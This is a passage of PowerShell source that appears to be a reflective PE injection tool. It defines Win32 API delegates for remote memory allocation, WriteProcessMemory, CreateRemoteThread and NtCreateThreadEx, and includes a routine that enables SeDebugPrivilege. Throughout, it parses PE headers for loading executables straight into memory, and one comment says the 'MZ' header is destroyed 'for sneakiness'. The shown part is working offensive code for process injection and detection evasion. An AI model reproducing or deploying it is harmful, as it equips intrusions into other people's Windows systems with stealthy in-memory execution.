        $Win32Constants | Add-Member -MemberType NoteProperty -Name MEM_RELEASE -Value 0x8000
        $Win32Constants | Add-Member -MemberType NoteProperty -Name TOKEN_QUERY -Value 0x0008
        $Win32Constants | Add-Member -MemberType NoteProperty -Name TOKEN_ADJUST_PRIVILEGES -Value 0x0020
        $Win32Constants | Add-Member -MemberType NoteProperty -Name SE_PRIVILEGE_ENABLED -Value 0x2
        $Win32Constants | Add-Member -MemberType NoteProperty -Name ERROR_NO_TOKEN -Value 0x3f0
        
        return $Win32Constants
    }

    Function Get-Win32Functions
    {
        $Win32Functions = New-Object System.Object
        
        $VirtualAllocAddr = Get-ProcAddress kernel32.dll VirtualAlloc
        $VirtualAllocDelegate = Get-DelegateType @([IntPtr], [UIntPtr], [UInt32], [UInt32]) ([IntPtr])
        $VirtualAlloc = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($VirtualAllocAddr, $VirtualAllocDelegate)
        $Win32Functions | Add-Member NoteProperty -Name VirtualAlloc -Value $VirtualAlloc
        
        $VirtualAllocExAddr = Get-ProcAddress kernel32.dll VirtualAllocEx
        $VirtualAllocExDelegate = Get-DelegateType @([IntPtr], [IntPtr], [UIntPtr], [UInt32], [UInt32]) ([IntPtr])
        $VirtualAllocEx = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($VirtualAllocExAddr, $VirtualAllocExDelegate)
        $Win32Functions | Add-Member NoteProperty -Name VirtualAllocEx -Value $VirtualAllocEx
        
        $memcpyAddr = Get-ProcAddress msvcrt.dll memcpy
        $memcpyDelegate = Get-DelegateType @([IntPtr], [IntPtr], [UIntPtr]) ([IntPtr])
        $memcpy = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($memcpyAddr, $memcpyDelegate)
        $Win32Functions | Add-Member -MemberType NoteProperty -Name memcpy -Value $memcpy
        
        $memsetAddr = Get-ProcAddress msvcrt.dll memset
        $memsetDelegate = Get-DelegateType @([IntPtr], [Int32], [IntPtr]) ([IntPtr])
        $memset = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($memsetAddr, $memsetDelegate)
        $Win32Functions | Add-Member -MemberType NoteProperty -Name memset -Value $memset
        
        $LoadLibraryAddr = Get-ProcAddress kernel32.dll LoadLibraryA
        $LoadLibraryDelegate = Get-DelegateType @([String]) ([IntPtr])
        $LoadLibrary = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($LoadLibraryAddr, $LoadLibraryDelegate)
        $Win32Functions | Add-Member -MemberType NoteProperty -Name LoadLibrary -Value $LoadLibrary
        
        $GetProcAddressAddr = Get-ProcAddress kernel32.dll GetProcAddress
        $GetProcAddressDelegate = Get-DelegateType @([IntPtr], [String]) ([IntPtr])
        $GetProcAddress = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($GetProcAddressAddr, $GetProcAddressDelegate)
        $Win32Functions | Add-Member -MemberType NoteProperty -Name GetProcAddress -Value $GetProcAddress
        
        $GetProcAddressIntPtrAddr = Get-ProcAddress kernel32.dll GetProcAddress #This is still GetProcAddress, but instead of PowerShell converting the string to a pointer, you must do it yourself
        $GetProcAddressIntPtrDelegate = Get-DelegateType @([IntPtr], [IntPtr]) ([IntPtr])
        $GetProcAddressIntPtr = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($GetProcAddressIntPtrAddr, $GetProcAddressIntPtrDelegate)
        $Win32Functions | Add-Member -MemberType NoteProperty -Name GetProcAddressIntPtr -Value $GetProcAddressIntPtr
        
        $VirtualFreeAddr = Get-ProcAddress kernel32.dll VirtualFree
        $VirtualFreeDelegate = Get-DelegateType @([IntPtr], [UIntPtr], [UInt32]) ([Bool])
        $VirtualFree = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($VirtualFreeAddr, $VirtualFreeDelegate)
        $Win32Functions | Add-Member NoteProperty -Name VirtualFree -Value $VirtualFree
        
        $VirtualFreeExAddr = Get-ProcAddress kernel32.dll VirtualFreeEx
        $VirtualFreeExDelegate = Get-DelegateType @([IntPtr], [IntPtr], [UIntPtr], [UInt32]) ([Bool])
        $VirtualFreeEx = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($VirtualFreeExAddr, $VirtualFreeExDelegate)
        $Win32Functions | Add-Member NoteProperty -Name VirtualFreeEx -Value $VirtualFreeEx
        
        $VirtualProtectAddr = Get-ProcAddress kernel32.dll VirtualProtect
        $VirtualProtectDelegate = Get-DelegateType @([IntPtr], [UIntPtr], [UInt32], [UInt32].MakeByRefType()) ([Bool])
        $VirtualProtect = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($VirtualProtectAddr, $VirtualProtectDelegate)
        $Win32Functions | Add-Member NoteProperty -Name VirtualProtect -Value $VirtualProtect
        
        $GetModuleHandleAddr = Get-ProcAddress kernel32.dll GetModuleHandleA
        $GetModuleHandleDelegate = Get-DelegateType @([String]) ([IntPtr])
        $GetModuleHandle = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($GetModuleHandleAddr, $GetModuleHandleDelegate)
        $Win32Functions | Add-Member NoteProperty -Name GetModuleHandle -Value $GetModuleHandle
        
        $FreeLibraryAddr = Get-ProcAddress kernel32.dll FreeLibrary
        $FreeLibraryDelegate = Get-DelegateType @([IntPtr]) ([Bool])
        $FreeLibrary = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($FreeLibraryAddr, $FreeLibraryDelegate)
        $Win32Functions | Add-Member -MemberType NoteProperty -Name FreeLibrary -Value $FreeLibrary
        
        $OpenProcessAddr = Get-ProcAddress kernel32.dll OpenProcess
        $OpenProcessDelegate = Get-DelegateType @([UInt32], [Bool], [UInt32]) ([IntPtr])
        $OpenProcess = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($OpenProcessAddr, $OpenProcessDelegate)
        $Win32Functions | Add-Member -MemberType NoteProperty -Name OpenProcess -Value $OpenProcess
        
        $WaitForSingleObjectAddr = Get-ProcAddress kernel32.dll WaitForSingleObject
        $WaitForSingleObjectDelegate = Get-DelegateType @([IntPtr], [UInt32]) ([UInt32])
        $WaitForSingleObject = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($WaitForSingleObjectAddr, $WaitForSingleObjectDelegate)
        $Win32Functions | Add-Member -MemberType NoteProperty -Name WaitForSingleObject -Value $WaitForSingleObject
        
        $WriteProcessMemoryAddr = Get-ProcAddress kernel32.dll WriteProcessMemory
        $WriteProcessMemoryDelegate = Get-DelegateType @([IntPtr], [IntPtr], [IntPtr], [UIntPtr], [UIntPtr].MakeByRefType()) ([Bool])
        $WriteProcessMemory = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($WriteProcessMemoryAddr, $WriteProcessMemoryDelegate)
        $Win32Functions | Add-Member -MemberType NoteProperty -Name WriteProcessMemory -Value $WriteProcessMemory
        
        $ReadProcessMemoryAddr = Get-ProcAddress kernel32.dll ReadProcessMemory
        $ReadProcessMemoryDelegate = Get-DelegateType @([IntPtr], [IntPtr], [IntPtr], [UIntPtr], [UIntPtr].MakeByRefType()) ([Bool])
        $ReadProcessMemory = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($ReadProcessMemoryAddr, $ReadProcessMemoryDelegate)
        $Win32Functions | Add-Member -MemberType NoteProperty -Name ReadProcessMemory -Value $ReadProcessMemory
        
        $CreateRemoteThreadAddr = Get-ProcAddress kernel32.dll CreateRemoteThread
        $CreateRemoteThreadDelegate = Get-DelegateType @([IntPtr], [IntPtr], [UIntPtr], [IntPtr], [IntPtr], [UInt32], [IntPtr]) ([IntPtr])
        $CreateRemoteThread = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($CreateRemoteThreadAddr, $CreateRemoteThreadDelegate)
        $Win32Functions | Add-Member -MemberType NoteProperty -Name CreateRemoteThread -Value $CreateRemoteThread
        
        $GetExitCodeThreadAddr = Get-ProcAddress kernel32.dll GetExitCodeThread
        $GetExitCodeThreadDelegate = Get-DelegateType @([IntPtr], [Int32].MakeByRefType()) ([Bool])
        $GetExitCodeThread = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($GetExitCodeThreadAddr, $GetExitCodeThreadDelegate)
        $Win32Functions | Add-Member -MemberType NoteProperty -Name GetExitCodeThread -Value $GetExitCodeThread
        
        $OpenThreadTokenAddr = Get-ProcAddress Advapi32.dll OpenThreadToken
        $OpenThreadTokenDelegate = Get-DelegateType @([IntPtr], [UInt32], [Bool], [IntPtr].MakeByRefType()) ([Bool])
        $OpenThreadToken = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($OpenThreadTokenAddr, $OpenThreadTokenDelegate)
        $Win32Functions | Add-Member -MemberType NoteProperty -Name OpenThreadToken -Value $OpenThreadToken
        
        $GetCurrentThreadAddr = Get-ProcAddress kernel32.dll GetCurrentThread
        $GetCurrentThreadDelegate = Get-DelegateType @() ([IntPtr])
        $GetCurrentThread = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($GetCurrentThreadAddr, $GetCurrentThreadDelegate)
        $Win32Functions | Add-Member -MemberType NoteProperty -Name GetCurrentThread -Value $GetCurrentThread
        
        $AdjustTokenPrivilegesAddr = Get-ProcAddress Advapi32.dll AdjustTokenPrivileges
        $AdjustTokenPrivilegesDelegate = Get-DelegateType @([IntPtr], [Bool], [IntPtr], [UInt32], [IntPtr], [IntPtr]) ([Bool])
        $AdjustTokenPrivileges = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($AdjustTokenPrivilegesAddr, $AdjustTokenPrivilegesDelegate)
        $Win32Functions | Add-Member -MemberType NoteProperty -Name AdjustTokenPrivileges -Value $AdjustTokenPrivileges
        
        $LookupPrivilegeValueAddr = Get-ProcAddress Advapi32.dll LookupPrivilegeValueA
        $LookupPrivilegeValueDelegate = Get-DelegateType @([String], [String], [IntPtr]) ([Bool])
        $LookupPrivilegeValue = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($LookupPrivilegeValueAddr, $LookupPrivilegeValueDelegate)
        $Win32Functions | Add-Member -MemberType NoteProperty -Name LookupPrivilegeValue -Value $LookupPrivilegeValue
        
        $ImpersonateSelfAddr = Get-ProcAddress Advapi32.dll ImpersonateSelf
        $ImpersonateSelfDelegate = Get-DelegateType @([Int32]) ([Bool])
        $ImpersonateSelf = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($ImpersonateSelfAddr, $ImpersonateSelfDelegate)
        $Win32Functions | Add-Member -MemberType NoteProperty -Name ImpersonateSelf -Value $ImpersonateSelf
        
        # NtCreateThreadEx is only ever called on Vista and Win7. NtCreateThreadEx is not exported by ntdll.dll in Windows XP
        if (([Environment]::OSVersion.Version -ge (New-Object 'Version' 6,0)) -and ([Environment]::OSVersion.Version -lt (New-Object 'Version' 6,2))) {
            $NtCreateThreadExAddr = Get-ProcAddress NtDll.dll NtCreateThreadEx
            $NtCreateThreadExDelegate = Get-DelegateType @([IntPtr].MakeByRefType(), [UInt32], [IntPtr], [IntPtr], [IntPtr], [IntPtr], [Bool], [UInt32], [UInt32], [UInt32], [IntPtr]) ([UInt32])
            $NtCreateThreadEx = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($NtCreateThreadExAddr, $NtCreateThreadExDelegate)
            $Win32Functions | Add-Member -MemberType NoteProperty -Name NtCreateThreadEx -Value $NtCreateThreadEx
        }
        
        $IsWow64ProcessAddr = Get-ProcAddress Kernel32.dll IsWow64Process
        $IsWow64ProcessDelegate = Get-DelegateType @([IntPtr], [Bool].MakeByRefType()) ([Bool])
        $IsWow64Process = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($IsWow64ProcessAddr, $IsWow64ProcessDelegate)
        $Win32Functions | Add-Member -MemberType NoteProperty -Name IsWow64Process -Value $IsWow64Process
        
        $CreateThreadAddr = Get-ProcAddress Kernel32.dll CreateThread
        $CreateThreadDelegate = Get-DelegateType @([IntPtr], [IntPtr], [IntPtr], [IntPtr], [UInt32], [UInt32].MakeByRefType()) ([IntPtr])
        $CreateThread = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($CreateThreadAddr, $CreateThreadDelegate)
        $Win32Functions | Add-Member -MemberType NoteProperty -Name CreateThread -Value $CreateThread
        
        return $Win32Functions
    }
    #####################################

            
    #####################################
    ###########    HELPERS   ############
    #####################################

    #Powershell only does signed arithmetic, so if we want to calculate memory addresses we have to use this function
    #This will add signed integers as if they were unsigned integers so we can accurately calculate memory addresses
    Function Sub-SignedIntAsUnsigned
    {
        Param(
        [Parameter(Position = 0, Mandatory = $true)]
        [Int64]
        $Value1,
        
        [Parameter(Position = 1, Mandatory = $true)]
        [Int64]
        $Value2
        )
        
        [Byte[]]$Value1Bytes = [BitConverter]::GetBytes($Value1)
        [Byte[]]$Value2Bytes = [BitConverter]::GetBytes($Value2)
        [Byte[]]$FinalBytes = [BitConverter]::GetBytes([UInt64]0)

        if ($Value1Bytes.Count -eq $Value2Bytes.Count)
        {
            $CarryOver = 0
            for ($i = 0; $i -lt $Value1Bytes.Count; $i++)
            {
                $Val = $Value1Bytes[$i] - $CarryOver
                #Sub bytes
                if ($Val -lt $Value2Bytes[$i])
                {
                    $Val += 256
                    $CarryOver = 1
                }
                else
                {
                    $CarryOver = 0
                }
                
                
                [UInt16]$Sum = $Val - $Value2Bytes[$i]

                $FinalBytes[$i] = $Sum -band 0x00FF
            }
        }
        else
        {
            Throw "Cannot subtract bytearrays of different sizes"
        }
        
        return [BitConverter]::ToInt64($FinalBytes, 0)
    }
    

    Function Add-SignedIntAsUnsigned
    {
        Param(
        [Parameter(Position = 0, Mandatory = $true)]
        [Int64]
        $Value1,
        
        [Parameter(Position = 1, Mandatory = $true)]
        [Int64]
        $Value2
        )
        
        [Byte[]]$Value1Bytes = [BitConverter]::GetBytes($Value1)
        [Byte[]]$Value2Bytes = [BitConverter]::GetBytes($Value2)
        [Byte[]]$FinalBytes = [BitConverter]::GetBytes([UInt64]0)

        if ($Value1Bytes.Count -eq $Value2Bytes.Count)
        {
            $CarryOver = 0
            for ($i = 0; $i -lt $Value1Bytes.Count; $i++)
            {
                #Add bytes
                [UInt16]$Sum = $Value1Bytes[$i] + $Value2Bytes[$i] + $CarryOver

                $FinalBytes[$i] = $Sum -band 0x00FF
                
                if (($Sum -band 0xFF00) -eq 0x100)
                {
                    $CarryOver = 1
                }
                else
                {
                    $CarryOver = 0
                }
            }
        }
        else
        {
            Throw "Cannot add bytearrays of different sizes"
        }
        
        return [BitConverter]::ToInt64($FinalBytes, 0)
    }
    

    Function Compare-Val1GreaterThanVal2AsUInt
    {
        Param(
        [Parameter(Position = 0, Mandatory = $true)]
        [Int64]
        $Value1,
        
        [Parameter(Position = 1, Mandatory = $true)]
        [Int64]
        $Value2
        )
        
        [Byte[]]$Value1Bytes = [BitConverter]::GetBytes($Value1)
        [Byte[]]$Value2Bytes = [BitConverter]::GetBytes($Value2)

        if ($Value1Bytes.Count -eq $Value2Bytes.Count)
        {
            for ($i = $Value1Bytes.Count-1; $i -ge 0; $i--)
            {
                if ($Value1Bytes[$i] -gt $Value2Bytes[$i])
                {
                    return $true
                }
                elseif ($Value1Bytes[$i] -lt $Value2Bytes[$i])
                {
                    return $false
                }
            }
        }
        else
        {
            Throw "Cannot compare byte arrays of different size"
        }
        
        return $false
    }
    

    Function Convert-UIntToInt
    {
        Param(
        [Parameter(Position = 0, Mandatory = $true)]
        [UInt64]
        $Value
        )
        
        [Byte[]]$ValueBytes = [BitConverter]::GetBytes($Value)
        return ([BitConverter]::ToInt64($ValueBytes, 0))
    }


    Function Get-Hex
    {
        Param(
        [Parameter(Position = 0, Mandatory = $true)]
        $Value #We will determine the type dynamically
        )

        $ValueSize = [System.Runtime.InteropServices.Marshal]::SizeOf([Type]$Value.GetType()) * 2
        $Hex = "0x{0:X$($ValueSize)}" -f [Int64]$Value #Passing a IntPtr to this doesn't work well. Cast to Int64 first.

        return $Hex
    }
    
    
    Function Test-MemoryRangeValid
    {
        Param(
        [Parameter(Position = 0, Mandatory = $true)]
        [String]
        $DebugString,
        
        [Parameter(Position = 1, Mandatory = $true)]
        [System.Object]
        $PEInfo,
        
        [Parameter(Position = 2, Mandatory = $true)]
        [IntPtr]
        $StartAddress,
        
        [Parameter(ParameterSetName = "Size", Position = 3, Mandatory = $true)]
        [IntPtr]
        $Size
        )
        
        [IntPtr]$FinalEndAddress = [IntPtr](Add-SignedIntAsUnsigned ($StartAddress) ($Size))
        
        $PEEndAddress = $PEInfo.EndAddress
        
        if ((Compare-Val1GreaterThanVal2AsUInt ($PEInfo.PEHandle) ($StartAddress)) -eq $true)
        {
            Throw "Trying to write to memory smaller than allocated address range. $DebugString"
        }
        if ((Compare-Val1GreaterThanVal2AsUInt ($FinalEndAddress) ($PEEndAddress)) -eq $true)
        {
            Throw "Trying to write to memory greater than allocated address range. $DebugString"
        }
    }
    
    
    Function Write-BytesToMemory
    {
        Param(
            [Parameter(Position=0, Mandatory = $true)]
            [Byte[]]
            $Bytes,
            
            [Parameter(Position=1, Mandatory = $true)]
            [IntPtr]
            $MemoryAddress
        )
    
        for ($Offset = 0; $Offset -lt $Bytes.Length; $Offset++)
        {
            [System.Runtime.InteropServices.Marshal]::WriteByte($MemoryAddress, $Offset, $Bytes[$Offset])
        }
    }
    

    #Function written by Matt Graeber, Twitter: @mattifestation, Blog: http://www.exploit-monday.com/
    Function Get-DelegateType
    {
        Param
        (
            [OutputType([Type])]
            
            [Parameter( Position = 0)]
            [Type[]]
            $Parameters = (New-Object Type[](0)),
            
            [Parameter( Position = 1 )]
            [Type]
            $ReturnType = [Void]
        )

        $Domain = [AppDomain]::CurrentDomain
        $DynAssembly = New-Object System.Reflection.AssemblyName('ReflectedDelegate')
        $AssemblyBuilder = $Domain.DefineDynamicAssembly($DynAssembly, [System.Reflection.Emit.AssemblyBuilderAccess]::Run)
        $ModuleBuilder = $AssemblyBuilder.DefineDynamicModule('InMemoryModule', $false)
        $TypeBuilder = $ModuleBuilder.DefineType('MyDelegateType', 'Class, Public, Sealed, AnsiClass, AutoClass', [System.MulticastDelegate])
        $ConstructorBuilder = $TypeBuilder.DefineConstructor('RTSpecialName, HideBySig, Public', [System.Reflection.CallingConventions]::Standard, $Parameters)
        $ConstructorBuilder.SetImplementationFlags('Runtime, Managed')
        $MethodBuilder = $TypeBuilder.DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $ReturnType, $Parameters)
        $MethodBuilder.SetImplementationFlags('Runtime, Managed')
        
        Write-Output $TypeBuilder.CreateType()
    }


    #Function written by Matt Graeber, Twitter: @mattifestation, Blog: http://www.exploit-monday.com/
    Function Get-ProcAddress
    {
        Param
        (
            [OutputType([IntPtr])]
        
            [Parameter( Position = 0, Mandatory = $True )]
            [String]
            $Module,
            
            [Parameter( Position = 1, Mandatory = $True )]
            [String]
            $Procedure
        )

        # Get a reference to System.dll in the GAC
        $SystemAssembly = [AppDomain]::CurrentDomain.GetAssemblies() |
            Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1].Equals('System.dll') }
        $UnsafeNativeMethods = $SystemAssembly.GetType('Microsoft.Win32.UnsafeNativeMethods')
        # Get a reference to the GetModuleHandle and GetProcAddress methods
        $GetModuleHandle = $UnsafeNativeMethods.GetMethod('GetModuleHandle')
        $GetProcAddress = $UnsafeNativeMethods.GetMethod('GetProcAddress')
        # Get a handle to the module specified
        $Kern32Handle = $GetModuleHandle.Invoke($null, @($Module))
        $tmpPtr = New-Object IntPtr
        $HandleRef = New-Object System.Runtime.InteropServices.HandleRef($tmpPtr, $Kern32Handle)

        # Return the address of the function
        Write-Output $GetProcAddress.Invoke($null, @([System.Runtime.InteropServices.HandleRef]$HandleRef, $Procedure))
    }
    
    
    Function Enable-SeDebugPrivilege
    {
        Param(
        [Parameter(Position = 1, Mandatory = $true)]
        [System.Object]
        $Win32Functions,
        
        [Parameter(Position = 2, Mandatory = $true)]
        [System.Object]
        $Win32Types,
        
        [Parameter(Position = 3, Mandatory = $true)]
        [System.Object]
        $Win32Constants
        )
        
        [IntPtr]$ThreadHandle = $Win32Functions.GetCurrentThread.Invoke()
        if ($ThreadHandle -eq [IntPtr]::Zero)
        {
            Throw "Unable to get the handle to the current thread"
        }
        
        [IntPtr]$ThreadToken = [IntPtr]::Zero
        [Bool]$Result = $Win32Functions.OpenThreadToken.Invoke($ThreadHandle, $Win32Constants.TOKEN_QUERY -bor $Win32Constants.TOKEN_ADJUST_PRIVILEGES, $false, [Ref]$ThreadToken)
        if ($Result -eq $false)
        {
            $ErrorCode = [System.Runtime.InteropServices.Marshal]::GetLastWin32Error()
            if ($ErrorCode -eq $Win32Constants.ERROR_NO_TOKEN)
            {
                $Result = $Win32Functions.ImpersonateSelf.Invoke(3)
                if ($Result -eq $false)
                {
                    Throw "Unable to impersonate self"
                }
                
                $Result = $Win32Functions.OpenThreadToken.Invoke($ThreadHandle, $Win32Constants.TOKEN_QUERY -bor $Win32Constants.TOKEN_ADJUST_PRIVILEGES, $false, [Ref]$ThreadToken)
                if ($Result -eq $false)
                {
                    Throw "Unable to OpenThreadToken."
                }
            }
            else
            {
                Throw "Unable to OpenThreadToken. Error code: $ErrorCode"
            }
        }
        
        [IntPtr]$PLuid = [System.Runtime.InteropServices.Marshal]::AllocHGlobal([System.Runtime.InteropServices.Marshal]::SizeOf([Type]$Win32Types.LUID))
        $Result = $Win32Functions.LookupPrivilegeValue.Invoke($null, "SeDebugPrivilege", $PLuid)
        if ($Result -eq $false)
        {
            Throw "Unable to call LookupPrivilegeValue"
        }

        [UInt32]$TokenPrivSize = [System.Runtime.InteropServices.Marshal]::SizeOf([Type]$Win32Types.TOKEN_PRIVILEGES)
        [IntPtr]$TokenPrivilegesMem = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($TokenPrivSize)
        $TokenPrivileges = [System.Runtime.InteropServices.Marshal]::PtrToStructure($TokenPrivilegesMem, [Type]$Win32Types.TOKEN_PRIVILEGES)
        $TokenPrivileges.PrivilegeCount = 1
        $TokenPrivileges.Privileges.Luid = [System.Runtime.InteropServices.Marshal]::PtrToStructure($PLuid, [Type]$Win32Types.LUID)
        $TokenPrivileges.Privileges.Attributes = $Win32Constants.SE_PRIVILEGE_ENABLED
        [System.Runtime.InteropServices.Marshal]::StructureToPtr($TokenPrivileges, $TokenPrivilegesMem, $true)

        $Result = $Win32Functions.AdjustTokenPrivileges.Invoke($ThreadToken, $false, $TokenPrivilegesMem, $TokenPrivSize, [IntPtr]::Zero, [IntPtr]::Zero)
        $ErrorCode = [System.Runtime.InteropServices.Marshal]::GetLastWin32Error() #Need this to get success value or failure value
        if (($Result -eq $false) -or ($ErrorCode -ne 0))
        {
            #Throw "Unable to call AdjustTokenPrivileges. Return value: $Result, Errorcode: $ErrorCode"   #todo need to detect if already set
        }
        
        [System.Runtime.InteropServices.Marshal]::FreeHGlobal($TokenPrivilegesMem)
    }
    
    
    Function Create-RemoteThread
    {
        Param(
        [Parameter(Position = 1, Mandatory = $true)]
        [IntPtr]
        $ProcessHandle,
        
        [Parameter(Position = 2, Mandatory = $true)]
        [IntPtr]
        $StartAddress,
        
        [Parameter(Position = 3, Mandatory = $false)]
        [IntPtr]
        $ArgumentPtr = [IntPtr]::Zero,
        
        [Parameter(Position = 4, Mandatory = $true)]
        [System.Object]
        $Win32Functions
        )
        
        [IntPtr]$RemoteThreadHandle = [IntPtr]::Zero
        
        $OSVersion = [Environment]::OSVersion.Version
        #Vista and Win7
        if (($OSVersion -ge (New-Object 'Version' 6,0)) -and ($OSVersion -lt (New-Object 'Version' 6,2)))
        {
            #Write-Verbose "Windows Vista/7 detected, using NtCreateThreadEx. Address of thread: $StartAddress"
            $RetVal= $Win32Functions.NtCreateThreadEx.Invoke([Ref]$RemoteThreadHandle, 0x1FFFFF, [IntPtr]::Zero, $ProcessHandle, $StartAddress, $ArgumentPtr, $false, 0, 0xffff, 0xffff, [IntPtr]::Zero)
            $LastError = [System.Runtime.InteropServices.Marshal]::GetLastWin32Error()
            if ($RemoteThreadHandle -eq [IntPtr]::Zero)
            {
                Throw "Error in NtCreateThreadEx. Return value: $RetVal. LastError: $LastError"
            }
        }
        #XP/Win8
        else
        {
            #Write-Verbose "Windows XP/8 detected, using CreateRemoteThread. Address of thread: $StartAddress"
            $RemoteThreadHandle = $Win32Functions.CreateRemoteThread.Invoke($ProcessHandle, [IntPtr]::Zero, [UIntPtr][UInt64]0xFFFF, $StartAddress, $ArgumentPtr, 0, [IntPtr]::Zero)
        }
        
        if ($RemoteThreadHandle -eq [IntPtr]::Zero)
        {
            Write-Error "Error creating remote thread, thread handle is null" -ErrorAction Stop
        }
        
        return $RemoteThreadHandle
    }

    

    Function Get-ImageNtHeaders
    {
        Param(
        [Parameter(Position = 0, Mandatory = $true)]
        [IntPtr]
        $PEHandle,
        
        [Parameter(Position = 1, Mandatory = $true)]
        [System.Object]
        $Win32Types
        )
        
        $NtHeadersInfo = New-Object System.Object
        
        #Normally would validate DOSHeader here, but we did it before this function was called and then destroyed 'MZ' for sneakiness
        $dosHeader = [System.Runtime.InteropServices.Marshal]::PtrToStructure($PEHandle, [Type]$Win32Types.IMAGE_DOS_HEADER)

        #Get IMAGE_NT_HEADERS
        [IntPtr]$NtHeadersPtr = [IntPtr](Add-SignedIntAsUnsigned ([Int64]$PEHandle) ([Int64][UInt64]$dosHeader.e_lfanew))
        $NtHeadersInfo | Add-Member -MemberType NoteProperty -Name NtHeadersPtr -Value $NtHeadersPtr
        $imageNtHeaders64 = [System.Runtime.InteropServices.Marshal]::PtrToStructure($NtHeadersPtr, [Type]$Win32Types.IMAGE_NT_HEADERS64)
        
        #Make sure the IMAGE_NT_HEADERS checks out. If it doesn't, the data structure is invalid. This should never happen.
        if ($imageNtHeaders64.Signature -ne 0x00004550)
        {
            throw "Invalid IMAGE_NT_HEADER signature."
        }
        
        if ($imageNtHeaders64.OptionalHeader.Magic -eq 'IMAGE_NT_OPTIONAL_HDR64_MAGIC')
        {
            $NtHeadersInfo | Add-Member -MemberType NoteProperty -Name IMAGE_NT_HEADERS -Value $imageNtHeaders64
            $NtHeadersInfo | Add-Member -MemberType NoteProperty -Name PE64Bit -Value $true
        }
        else
        {
            $ImageNtHeaders32 = [System.Runtime.InteropServices.Marshal]::PtrToStructure($NtHeadersPtr, [Type]$Win32Types.IMAGE_NT_HEADERS32)
            $NtHeadersInfo | Add-Member -MemberType NoteProperty -Name IMAGE_NT_HEADERS -Value $imageNtHeaders32
            $NtHeadersInfo | Add-Member -MemberType NoteProperty -Name PE64Bit -Value $false
        }
        
        return $NtHeadersInfo
    }


    #This function will get the information needed to allocated space in memory for the PE
    Function Get-PEBasicInfo
    {
        Param(
        [Parameter( Position = 0, Mandatory = $true )]
        [Byte[]]
        $PEBytes,
        
        [Parameter(Position = 1, Mandatory = $true)]
        [System.Object]
        $Win32Types
        )
        
        $PEInfo = New-Object System.Object
        
        #Write the PE to memory temporarily so I can get information from it. This is not it's final resting spot.
        [IntPtr]$UnmanagedPEBytes = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($PEBytes.Length)
        [System.Runtime.InteropServices.Marshal]::Copy($PEBytes, 0, $UnmanagedPEBytes, $PEBytes.Length) | Out-Null
        
        #Get NtHeadersInfo
        $NtHeadersInfo = Get-ImageNtHeaders -PEHandle $UnmanagedPEBytes -Win32Types $Win32Types
        
        #Build a structure with the information which will be needed for allocating memory and writing the PE to memory
        $PEInfo | Add-Member -MemberType NoteProperty -Name 'PE64Bit' -Value ($NtHeadersInfo.PE64Bit)
        $PEInfo | Add-Member -MemberType NoteProperty -Name 'OriginalImageBase' -Value ($NtHeadersInfo.IMAGE_NT_HEADERS.OptionalHeader.ImageBase)
        $PEInfo | Add-Member -MemberType NoteProperty -Name 'SizeOfImage' -Value ($NtHeadersInfo.IMAGE_NT_HEADERS.OptionalHeader.SizeOfImage)
        $PEInfo | Add-Member -MemberType NoteProperty -Name 'SizeOfHeaders' -Value ($NtHeadersInfo.IMAGE_NT_HEADERS.OptionalHeader.SizeOfHeaders)
        $PEInfo | Add-Member -MemberType NoteProperty -Name 'DllCharacteristics' -Value ($NtHeadersInfo.IMAGE_NT_HEADERS.OptionalHeader.DllCharacteristics)
        
        #Free the memory allocated above, this isn't where we allocate the PE to memory
        [System.Runtime.InteropServices.Marshal]::FreeHGlobal($UnmanagedPEBytes)
        
        return $PEInfo
    }


    #PEInfo must contain the following NoteProperties:
    #   PEHandle: An IntPtr to the address the PE is loaded to in memory
    Function Get-PEDetailedInfo
    {
        Param(
        [Parameter( Position = 0, Mandatory = $true)]
        [IntPtr]
        $PEHandle,
        
        [Parameter(Position = 1, Mandatory = $true)]
        [System.Object]
        $Win32Types,
        
        [Parameter(Position = 2, Mandatory = $true)]
        [System.Object]
        $Win32Constants
        )
        
        if ($PEHandle -eq $null -or $PEHandle -eq [IntPtr]::Zero)
        {
            throw 'PEHandle is null or IntPtr.Zero'
        }
        
        $PEInfo = New-Object System.Object
        
        #Get NtHeaders information
        $NtHeadersInfo = Get-ImageNtHeaders -PEHandle $PEHandle -Win32Types $Win32Types
        
        #Build the PEInfo object
        $PEInfo | Add-Member -MemberType NoteProperty -Name PEHandle -Value $PEHandle
        $PEInfo | Add-Member -MemberType NoteProperty -Name IMAGE_NT_HEADERS -Value ($NtHeadersInfo.IMAGE_NT_HEADERS)
        $PEInfo | Add-Member -MemberType NoteProperty -Name NtHeadersPtr -Value ($NtHeadersInfo.NtHeadersPtr)
        $PEInfo | Add-Member -MemberType NoteProperty -Name PE64Bit -Value ($NtHeadersInfo.PE64Bit)
